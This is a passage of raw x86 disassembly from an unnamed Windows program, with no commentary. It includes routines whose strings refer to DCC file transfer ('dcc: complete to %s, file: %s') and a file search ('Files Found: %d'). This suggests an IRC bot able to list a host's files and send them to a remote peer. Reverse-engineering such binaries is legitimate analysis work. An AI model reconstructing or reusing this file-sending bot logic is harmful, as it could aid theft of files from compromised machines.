		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_5FC011
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		call	near ptr 28703F9h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5FC011
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		nop
		call	near ptr 2870000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A08
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2860000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2850B2Eh
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		call	near ptr 71AB615Ah
		nop
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 28506B2h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2850000h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2850000h


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444ADC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		call	sub_5FC011
		nop
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2850000h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
